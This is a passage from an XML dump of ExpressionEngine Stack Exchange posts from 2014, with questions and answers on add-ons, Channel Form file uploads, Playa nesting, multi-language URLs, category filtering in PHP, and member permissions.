LastActivityDate="2014-05-27T14:29:25.767" Title="Multiple Content-Elements with Assets-elements breaking on what seems to be a specific number of images" Tags="|ee2|assets|stash|error|content-elements|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21674" PostTypeId="2" ParentId="21663" CreationDate="2014-05-05T14:08:21.847" Score="2" Body="&lt;p&gt;There are two add-ons that will allow you to define Quick Links globally per member group in the Control Panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;a href=&quot;http://devot-ee.com/add-ons/member-group-tabs&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Member Group Tabs&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This extension allows you to create navigation tabs for entire member&#xA;  groups in the ExpressionEngine control panel.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;OR &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Zoo Flexible Admin&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Zoo Flexible Admin lets you fully customize the control panel menu per&#xA;  membergroup. Insert custom links, rename, re-order and remove menu&#xA;  items in order to create a more intuitive menu.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Zoo Flexible Admin is &lt;em&gt;really&lt;/em&gt; powerful, giving you complete control of the entire CP navigation per member group.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-05-05T14:08:21.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21675" PostTypeId="1" CreationDate="2014-05-05T14:36:58.907" Score="1" ViewCount="77" Body="&lt;p&gt;I'm working on setting up a CRON Job for Cart Throbs subscription package. At first I was getting a &quot;Permission Denied&quot; response until I granted shell access to the account, now the CRON Job returns with &quot;403: Forbidden&quot;. What could I be missing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &quot;sh /copied/path/from/cartthrob&quot; running every hour.&lt;/p&gt;&#xA;" OwnerUserId="3050" LastActivityDate="2014-12-01T10:19:46.540" Title="Cart Throb: Shed light on CRON Job denial" Tags="|cartthrob|subscriptions|cron|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21677" PostTypeId="1" CreationDate="2014-05-05T15:18:26.300" Score="1" ViewCount="45" Body="&lt;p&gt;I've updated from Store 1.6 to 2.3. My client is very unhappy with how the &quot;sale price&quot; has moved from the rest of the store information. It is in it's own &quot;promotions&quot; tab now, which makes sense but unfortunately I have to change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone tried moving the &quot;discount sales&quot; back into the channel entries? I've been screwing around to try and pull in the data but I'm having no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="633" LastActivityDate="2014-05-12T15:28:23.993" Title="Move Expresso Store's promotions back to the channel entries" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21678" PostTypeId="1" AcceptedAnswerId="28795" CreationDate="2014-05-05T16:25:33.627" Score="2" ViewCount="3268" Body="&lt;p&gt;I have trouble combining Channel Form and BlueImp JQuery File Upload (&lt;a href=&quot;https://github.com/blueimp/jQuery-File-Upload/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/blueimp/jQuery-File-Upload/&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always getting &quot;Your channel entry must have a title.&quot; although I have set the value of Title in HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I have these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;artworks&quot; include_assets=&quot;no&quot; include_jquery=&quot;no&quot; json=&quot;yes&quot; return=&quot;register/step3/{segment_3}&quot;  class=&quot;artwork-form&quot;}&#xA;  &amp;lt;input type=&quot;file&quot; class=&quot;fileupload&quot; data-directory=&quot;6&quot; data-content-type=&quot;all&quot; value=&quot;&quot; name=&quot;artwork_image&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; class=&quot;form-control artwork_title&quot; placeholder=&quot;Title&quot; name=&quot;title&quot; value=&quot;Title&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.fileupload').fileupload({&#xA;            dataType: 'json',&#xA;            formData: $(this).closest('form.artwork-form').serialize(),&#xA;            add: function(e, data){&#xA;               var form = $(this).closest('form.artwork-form');&#xA;&#xA;                $.each(data.files, function (index, file) {&#xA;                    form.find('.artwork_title').val(file.name);&#xA;                });&#xA;&#xA;                data.submit();&#xA;            },&#xA;            submit: function(e, data) {&#xA;                var form = $(this).closest('form.artwork-form');&#xA;                data.formData = form.serialize();&#xA;                console.log(data.formData);&#xA;&#xA;            },&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what I see in firebug:&#xA;Params:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ACT 7&#xA;RET http://localhost/register/step3test/263&#xA;URI register/step3test/263&#xA;XID &#xA;author_id   3&#xA;channel_id  13&#xA;entry_id    263&#xA;meta    VjpdYFRjVDNWPVEsACcFblFkBD5ZIVd+U3YD.... (cutted)&#xA;return  register/step3/263&#xA;return_url  register/step3/263&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;POST:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;----------------------------22998389620162591192122547020 Content-Disposition: form-data; name=&quot;artwork_image&quot;; filename=&quot;debate-ad.jpg&quot; Content-Type: image/jpeg ÿØÿá�Exif��II&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;success&quot;:0,&quot;errors&quot;:{&quot;title&quot;:&quot;Your channel entry must have a title.&quot;,&quot;url_title&quot;:&quot;Unable to create valid URL Title for your entry&quot;},&quot;field_errors&quot;:[],&quot;entry_id&quot;:false,&quot;url_title&quot;:false,&quot;channel_id&quot;:false}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anything I missed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help!&lt;/p&gt;&#xA;" OwnerUserId="2756" LastActivityDate="2018-07-11T16:53:31.150" Title="How to Implement File Upload Progress Bar with BlueImp JQuery File Upload and Channel Form?" Tags="|file-uploads|channel-form|jquery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21679" PostTypeId="2" ParentId="21669" CreationDate="2014-05-05T16:48:49.747" Score="0" Body="&lt;p&gt;You really want to consider the &lt;a href=&quot;http://eeharbor.com/transcribe/&quot; rel=&quot;nofollow&quot;&gt;Transcribe&lt;/a&gt; add-on by EEHarbor. It offers URL translation routing and much more. It will 100% solve the problem you have now. Plus, you don't need separate channel fields for each language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any questions about implementing Transcribe, don't hesitate to ask here on StackExchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your reference: I built &lt;a href=&quot;http://dylanamsterdam.com/&quot; rel=&quot;nofollow&quot;&gt;this hotel website&lt;/a&gt; with Transcribe and you can see the different URLs for the &lt;a href=&quot;http://dylanamsterdam.com/nl/&quot; rel=&quot;nofollow&quot;&gt;Dutch version&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2014-05-05T16:48:49.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21680" PostTypeId="1" CreationDate="2014-05-05T17:11:54.377" Score="1" ViewCount="223" Body="&lt;p&gt;I now want to create a second set of pill tabs  based on a playa list called up  within the first channel entry (called &quot;nwt_2cd_order_location&quot;) I am using Zurb Foundation's mark up for responsive design and it worked on flat pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The child in a playa list would be (called &quot;3rd_order_under&quot;) and from that list i want to add content from that child. This all works pretty good until the user chooses a different selection under the first set of tabs (nwt_2cd_order_location).  It does not update the second set correctly (3rd_order_under). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If thats not enough, once that works i would like to add another playa list (no tabs this time fortunately) in the content derived from a playa list inside (3rd_order_under) called {4th_order_under_3rd_order}. Can you call up a playa list three tier deep?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if any one here has any suggestions I sure would appreciate it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Eric&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://niwot.colorado.edu/index.php/location&quot; rel=&quot;nofollow&quot;&gt;http://niwot.colorado.edu/index.php/location&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My simplified code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;#60;!-- PILL TABS --&amp;#62; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;#60;div class=&quot;row&quot;&amp;#62;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;twelve columns&quot; style=&quot;padding-top:20px;&quot;&amp;amp;#62;&#xA;  &amp;lt;dl class=&quot;tabs pill&quot;&amp;amp;#62;&#xA;    {exp:channel:entries channel=&quot;nwt_2cd_order_location&quot; limit=&quot;10&quot; sort=&quot;asc&quot;}&#xA;       &amp;lt;dd style=&quot;padding:5px;&quot; {if count == '1'}class=&quot;active&quot;{/if}&amp;gt; &amp;lt;a href=&quot;#pillTab{url_title}&quot;&amp;gt;{title}&amp;amp;#60;/a&amp;amp;#62;&amp;lt;/dd&amp;gt;&#xA;    {/exp:channel:entries}&#xA; &amp;lt;/dl&amp;gt;&#xA;&#xA;  &amp;lt;ul class=&quot;pill tabs-content contained&quot;&amp;gt;&#xA;          {exp:channel:entries channel=&quot;nwt_2cd_order_location&quot; limit=&quot;10&quot; sort=&quot;asc&quot;}&#xA;       &amp;lt;li {if count == '1'}class=&quot;active&quot;{/if} id=&quot;pillTab{url_title}Tab&quot;&amp;gt;&#xA;            &amp;lt;!-- li class=&quot;active&quot; id=&quot;pillTab{url_title}&quot; --&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;                              &#xA;                   &amp;lt;!-- MAP BOX --&amp;gt;       &#xA;               &amp;lt;div class=&quot;twelve columns&quot; style=&quot;float:right;&quot;&amp;gt; &#xA;                  {summary}&#xA;               &amp;lt;/div&amp;gt;&#xA;&#xA;            {if 3rd_order_under}&#xA;            &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Locations within {title}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;            {/if}      &#xA;         &amp;lt;/div&amp;gt;        &#xA;&#xA;      &amp;lt;dl class=&quot;tabs pill&quot;&amp;gt;&#xA;           {exp:playa:children field=&quot;3rd_order_under&quot; limit=&quot;25&quot; sort=&quot;asc&quot;}&#xA;               &amp;lt;dd style=&quot;padding:5px;&quot; {if count == '1'}class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;#pillTab{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;               &amp;lt;/dd&amp;gt;&#xA;          {/exp:playa:children}&#xA;      &amp;lt;/dl&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&amp;#60;!-- CONTENT FOR 3rd ORDER pill tabs within pill tabs --&amp;#62;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul class=&quot;pill tabs-content contained&quot;&amp;gt;&#xA;     {exp:playa:children field=&quot;3rd_order_under&quot; limit=&quot;25&quot; sort=&quot;asc&quot;}&#xA;       &amp;lt;li {if count == '1'}class=&quot;active&quot;{/if} id=&quot;pillTab{url_title}Tab&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;                                     &#xA;               &amp;lt;div class=&quot;twelve columns&quot; style=&quot;float:right;&quot;&amp;gt; &#xA;                   {summary_3rd_order}&amp;lt;br /&amp;gt;&#xA;&#xA;                   {!-- nothing I've done here works&#xA;                   exp:playa:siblings entry_id=&quot;{4th_order_under_3rd_order}&quot; parent_id=&quot;3rd_order_under&quot;}&#xA;                   {4th_order_under_3rd_order}&#xA;                   {/exp:playa:siblings}&#xA;                   --}&#xA;               &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;         &amp;lt;/li&amp;gt;&#xA;       {/exp:playa:children}&#xA;       {/exp:channel:entries}     &#xA;      &amp;lt;/ul&amp;gt;   &#xA;    &amp;lt;/li&amp;gt;    &#xA;  &amp;lt;/ul&amp;gt;         &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA; &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;the additional tab selections just stack on top each other instead of replacing the previous selection.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2014-05-05T20:53:47.263" LastActivityDate="2016-08-26T18:13:17.973" Title="Nested html tabs and playa fields please help" Tags="|templates|playa|template-scripting|nesting|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21681" PostTypeId="2" ParentId="21640" CreationDate="2014-05-05T17:23:27.620" Score="2" Body="&lt;p&gt;There is not a way to relate certain entries to another automatically with Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually you don't need to relate entries to a certain member, because EE already does that for you. When a member is logged in and creates a new entry, that entry is related to that member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then with the author_id paramater in the channel:entries tag you could display all posts by that member, like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; author_id=&quot;5&quot;}&#xA;    ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You created a separate channel for storing extra data about members, I think that's where some problems arise, because then you have two places where you store you member data (in the native Member module and a custom channel). With an add-on like &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt; you can solve this because then you're able to add all kinds of custom fields (with all field types) for your members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if this answers your question!&lt;/p&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2014-05-05T17:23:27.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21684" PostTypeId="2" ParentId="21669" CreationDate="2014-05-05T18:58:45.203" Score="1" Body="&lt;p&gt;There's a comment on &lt;a href=&quot;http://eeinsider.com/articles/multi-language-solutions-for-expressionengine&quot; rel=&quot;nofollow&quot;&gt;EE Insider&lt;/a&gt; that may be useful to you. It has been contributed by ignitesystemsltd. Thanks for that! &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our client wanted a multi language URL_TITLE which would at first seem&#xA;  to be impossible out of the box with the built in URI handling. BUT we&#xA;  overcame this by a simple mechanism:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;On the page template that renders the singular item (the details page&#xA;  for a property listing in our case), the client want different URLS&#xA;  for the same item, we created a new field with naming convention&#xA;  {language}_url_title and then the url title could be set for each&#xA;  language.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;On details page we switched on PHP parsing and used:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;$outvar = &quot;&quot;; $langvar = &quot;{language}&quot;;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;if ($langvar == &quot;en&quot;) { $outvar = $outvar .&#xA;  'search:en_url_title=&quot;{last_segment}&quot; '; }&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;if ($langvar == &quot;de&quot;) { $outvar = $outvar .&#xA;  'search:de_url_title=&quot;{last_segment}&quot; '; }&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;if ($langvar == &quot;swe&quot;) { $outvar = $outvar .&#xA;  'search:swe_url_title=&quot;{last_segment}&quot; '; }&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This php builds up the search for the URL title.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Then the entries tag looks something like this:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{exp:channel:entries channel=&quot;property&quot; [php echo $outvar] limit=&quot;1&quot;}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I had to use square brackets in line above but you should put proper&#xA;  notation of opening and closing php tag, this window didnt allow it.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The {last_segment} tag dynamically returns the url title from the&#xA;  current URL. You must simple ensure that you render the correct&#xA;  language url from wherever you want to link from. We are doing this&#xA;  from a search result and rendering the correct link with:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{{language}_url_title}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Hope this makes sense.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1736" LastActivityDate="2014-05-05T18:58:45.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21685" PostTypeId="1" CreationDate="2014-05-05T19:32:42.653" Score="0" ViewCount="160" Body="&lt;p&gt;I am hoping to use the channel entries tag to filter categories from 2 category groups- one category group is using the 'or' separator (|), and one cat group is using the 'and' separator (&amp;amp;). See my current attempt below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;some_channel&quot; category=&quot;6|7|8|57 &amp;amp; 18&quot; limit=&quot;15&quot; paginate=&quot;top&quot;}&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This channel query should return entries of any of the categories '6,7,8,57', as long as they also have the category '18'.  Is this possible?  Or are there modules/extensions/etc. that would assist with this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Note- I need the results to be paginated, so I need to keep all the category-operations in the channel entries tag- ie. this would not work for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;some_channel&quot; category=&quot;6|7|8|57&quot; limit=&quot;15&quot; paginate=&quot;top&quot;}&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp;{categories}&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{if category_id == 18}&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{!-- content --}&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE2.8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HERE IS MY ANSWER&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used PHP in the template to solve this (parse-stage on input).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$type_string = isset( $_GET['type'] ) ? $_GET['type'] : false;&#xA;$type = $type_string ? explode( ',', $type_string ) : false;&#xA;$service = isset( $_GET['services'] ) ? $_GET['services'] : false;&#xA;&#xA;$entries = array(); &#xA;// GET ALL CHANNEL ENTRIES IN CHANNEL&#xA;$channel_entries = ee()-&gt;db-&gt;select('entry_id')&#xA;    -&gt;from('exp_channel_titles')&#xA;    -&gt;where( array(&#xA;            'channel_id' =&gt; 8,&#xA;            'status' =&gt; 'open'&#xA;        )&#xA;    )&#xA;    -&gt;get();&#xA;if ( $channel_entries-&gt;num_rows() &gt; 0 ) :&#xA;    foreach( $channel_entries-&gt;result_array() as $channel_row ) :&#xA;&#xA;        if( $type || $service ) :   &#xA;            // GET ALL ENTRY CATEGORIES&#xA;            $categories = ee()-&gt;db-&gt;select('cat_id')&#xA;                -&gt;from('exp_category_posts')&#xA;                -&gt;where( array(&#xA;                        'entry_id' =&gt; $channel_row['entry_id']&#xA;                    )&#xA;                )&#xA;                -&gt;get();&#xA;&#xA;&#xA;            $cats = array();&#xA;            if ( $categories-&gt;num_rows() &gt; 0 ) :&#xA;                foreach( $categories-&gt;result_array() as $category_row ) :&#xA;                    $cats[$category_row['cat_id']] = $category_row['cat_id'];       &#xA;                endforeach;&#xA;            endif;&#xA;&#xA;            if( $type ) :&#xA;                if( count( array_intersect( $cats, $type ) ) &gt; 0 ) :&#xA;                    if( $service ) :&#xA;                        if( isset( $cats[$service] ) ) :&#xA;                            $entries[] = $channel_row['entry_id'];&#xA;                        endif;  &#xA;                    else : &#xA;                        $entries[] = $channel_row['entry_id'];&#xA;                    endif;&#xA;                endif;&#xA;            elseif( $service ) : &#xA;                if( isset( $cats[$service] ) ) :&#xA;                    $entries[] = $channel_row['entry_id'];&#xA;                endif;&#xA;            endif;&#xA;        else :&#xA;            $entries[] = $channel_row['entry_id'];&#xA;        endif;  &#xA;    endforeach;&#xA;endif;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in my channel entries tag i put: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;portfolio&quot; entry_id=&quot;&amp;#60;?= implode( '|', $entries ) ?&amp;#62;&quot; orderby=&quot;&amp;#60;?= $orderby ?&amp;#62;&quot; sort=&quot;&amp;#60;?= $sort[$orderby] ?&amp;#62;&quot; limit=&quot;15&quot; paginate=&quot;top&quot;}&#xA;...&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="3051" LastEditorUserId="3051" LastEditDate="2014-05-05T21:29:48.707" LastActivityDate="2014-05-06T11:33:59.833" Title="Categories with both 'and' &amp; 'or'" Tags="|channel-entries|categories|category-group|" AnswerCount="1" CommentCount="0" ClosedDate="2014-05-07T15:07:42.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="21686" PostTypeId="1" AcceptedAnswerId="21772" CreationDate="2014-05-05T19:43:09.077" Score="1" ViewCount="322" Body="&lt;p&gt;According to &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#freeform_field_name&quot; rel=&quot;nofollow noreferrer&quot;&gt;Freeform Pro's documentation&lt;/a&gt;, the &lt;code&gt;default_value&lt;/code&gt; parameter should let you designate a default (non-first) selection for any field without relying on JavaScript...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also available is the default_value=&quot;VALUE&quot; parameter, which can be applied directly to the {freeform:field:FIELD_NAME} variable. For field types that contain predetermined values such as select lists and radios, this can be used to pre-select a value from that list. For field types such as text input or text area, this can be used to add sample text to the field.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With Freeform Pro 4.1.7 on EE 2.7.2, this line (a State select field) fails to set any default even though &lt;code&gt;Washington&lt;/code&gt; is in the list. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {freeform:field:state attr:id=&quot;state&quot; attr:class=&quot;required&quot; default_value=&quot;Washington&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the resulting default value, as usual, is Alabama.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solspace has &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14533/solspace-freeform-pro-radio-group-default-value&quot;&gt;advised using JavaScript in response to other questions&lt;/a&gt;, but I'd rather utilize this parameter since it appears to exist for exactly the case I'm interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing the point or doing something wrong? Maybe misRTFM?&lt;/p&gt;&#xA;" OwnerUserId="810" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-05-08T02:27:44.017" Title="Freeform Pro's default_value Parameter Not Working for select Element" Tags="|solspace-freeform|forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21687" PostTypeId="1" AcceptedAnswerId="21698" CreationDate="2014-05-05T19:57:44.430" Score="0" ViewCount="33" Body="&lt;p&gt;The documentation for Assets' assets_rename_file() and assets_move_file() hooks indicates that the first argument is &quot;an object extending Assets_base_file class for the file that is about to be [renamed or moved].&quot;  But when I call url() on that object, I get the URL of the already renamed/moved file instead of the URL of the original file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation for Assets' assets_replace_file() and assets_delete_file() hooks uses the same wording for its first argument.  But when I call url() on those objects, I get the URL of the file being replaced/deleted (which is what I expect based on the documentation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should the first argument of assets_rename_file() and assets_move_file() hooks represent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is get the original URL and the URL of the renamed/moved file in the hook, but it doesn't seem possible to get the original URL.  So how do I determine which file is being renamed/moved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using ExpressionEngine 2.5.3 with Assets 2.2.1.&lt;/p&gt;&#xA;" OwnerUserId="2766" LastActivityDate="2014-05-06T06:48:52.840" Title="Get Original URL in assets_rename_file / assets_move_file Hooks" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21688" PostTypeId="1" CreationDate="2014-05-05T21:54:27.167" Score="1" ViewCount="84" Body="&lt;p&gt;Is it possible to get shipping labels for orders?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like for people fulfilling orders using the backend to be able to print a shipping label for the order.&lt;/p&gt;&#xA;" OwnerUserId="3052" LastActivityDate="2014-05-05T23:25:09.507" Title="Shipping Labels for UPS, USPS, FedEx" Tags="|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21690" PostTypeId="1" CreationDate="2014-05-05T22:43:10.027" Score="1" ViewCount="37" Body="&lt;p&gt;Is it possible to assign a group of members some permissions based on channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, assume that I have channel_1 and channel_2, and group_1. Can I give group_1 edit permission to all entries in channel_1 but not allow them to edit entries in channel_2? How? The documentation is not clear on that.&lt;/p&gt;&#xA;" OwnerUserId="3053" LastEditorUserId="159" LastEditDate="2014-05-06T08:20:42.157" LastActivityDate="2014-05-06T08:20:42.157" Title="Permission for all Entries in a Channel" Tags="|channel|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21691" PostTypeId="2" ParentId="20112" CreationDate="2014-05-05T22:51:15.417" Score="0" Body="&lt;p&gt;Try to find it here:&#xA; - &quot;ROOT_FOLDER&quot;\themes\forum_themes\default\forum_global&lt;/p&gt;&#xA;" OwnerUserId="3054" LastActivityDate="2014-05-05T22:51:15.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21692" PostTypeId="2" ParentId="21690" CreationDate="2014-05-05T22:58:05.260" Score="1" Body="&lt;p&gt;Never mind. Found it. It is under Members &gt; Groups &gt; Edit Group&lt;/p&gt;&#xA;" OwnerUserId="3053" LastActivityDate="2014-05-05T22:58:05.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21693" PostTypeId="2" ParentId="21688" CreationDate="2014-05-05T23:25:09.507" Score="1" Body="&lt;p&gt;You don't mention whether you're using an ecommerce add on (eg. &lt;a href=&quot;https://exp-resso.com/&quot; rel=&quot;nofollow&quot;&gt;Store&lt;/a&gt; or &lt;a href=&quot;http://cartthrob.com/&quot; rel=&quot;nofollow&quot;&gt;Cart Throb&lt;/a&gt;). If you're using Cart Throb, &lt;a href=&quot;http://devot-ee.com/add-ons/ct-admin&quot; rel=&quot;nofollow&quot;&gt;CT Admin&lt;/a&gt; has a built in generic packing list that you might be able to customise around the requirements of your chosen shipping companies. I'm not so familiar with the options within Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For something pretty quick and simple, you could create a basic order manager outside of the EE control panel and limit access to your required admin member group(s). You could then output the details you require into a template and use a print stylesheet based around your labels. So you could output a simple table to list your order numbers and customer names, with a link to your label template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you needed anything more involved, or wanted to integrate with your ecommerce add-on, then I think you'd have to look at building a custom module.&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-05-05T23:25:09.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
